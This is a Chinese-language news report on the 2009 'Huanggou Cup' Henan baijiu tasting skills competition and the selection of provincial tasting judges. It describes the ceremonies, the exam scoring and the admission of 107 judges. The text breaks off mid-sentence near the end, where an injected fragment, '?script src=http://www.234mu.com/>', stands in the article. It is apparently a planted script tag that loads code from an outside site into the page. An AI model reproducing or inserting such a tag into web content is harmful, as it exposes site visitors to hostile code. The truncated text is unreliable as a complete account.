根据河南省酒业协会、河南省轻工烟草工作委员会“豫酒协[2009]24号”文件精神，“皇沟杯”河南省白酒品评技能竞赛暨2009届省级白酒评酒委员换届考聘活动于2009年6月26日至29日在郑州举行。6月27日上午举行了简短的开幕式，省酒业协会会长熊玉亮、副会长将辉、省轻工烟草工会调研员王建华、省酒业协会副秘书长赵书民、尹陶林、河南皇沟酒业公司总经理张树强及裁判员卢振营、万保健、李绍亮、孙西玉、张献敏和来自全省三十余家白酒企业的152名选手及领队参加了开幕式。首先张树强总经理代表协办方致辞，对本次活动的举行表示祝贺，祝愿本次活动圆满成功。熊玉亮会长代表主办方对本次活动提出了很高的要求：要求裁判组公开、公正、公平，不徇私情；要求参赛选手严格遵守考场纪律、严肃认真，赛出风格、赛出水平。赵书民裁判长介绍了本次活动的准备情况和竞赛的方法步骤、注意事项。开幕式最后，裁判员张献敏、选手刘亚旭分别代表裁判员和参赛选手宣誓。
按照竞赛规定，本次竞赛实行百分制，其中理论占15分、实际操作（品评）考试占85分。27日上午开幕式结束后即进行了2个小时的理论考试，理论试题采取判断、填空、单选、多选、简答、论述等六种形式，内容涉及酿造、品评、勾兑和一般常识等。
从27日下午至29日上午进行了14轮实际操作（品评）考试，每轮五个样品，内容包括单体物质的识别、酒度的识别、典型性、再现性、稳定性和具有代表性香型的质量差等。
按照《河南省酒业协会省级评酒委员管理办法》规定，省级白酒评酒委员将分为资深、正式和特邀三种类型。1、三届以上（包括三届）的正式省级评委为资深评委，2、本次考试合格的为正式评委，3、没有一名被录取的我省名优、骨干白酒企业录取一名特邀评委；上一届的前十名，本次没有被录取的，本届录为特邀评委。按照规定70%的录取名额，2009届河南省省级白酒评酒委员（含资深、正式、特邀）共录取107名（见附件二）。
29日晚九点召开了本次活动的总结会议，全体参赛选手、领队、裁判员和有关领导参加了会议。省酒业协会副会长、白酒分会会长朱云武专程到会对本次活动的圆满成功表示祝贺；省轻工烟草工会调研员王建华宣布了本次竞赛活动前十名选手名单（见附件一），并对获奖选手表示祝贺；省酒业协会副会长蒋辉宣布了组织参加本次活动的十三家优秀组织奖获奖名单（见附件一），并颁发了证书；对“赊店杯”河南省勾调大赛的冠军选手杨锐颁发了河南省五一劳动奖章和证书，表彰了河南省技术能手并颁发证书。最后，省酒业协会会长熊玉亮发表讲话，指出本次活动有四个特点：1、本次活动是历届参加人数最多的一次，企业积?script src=http://www.234mu.com/>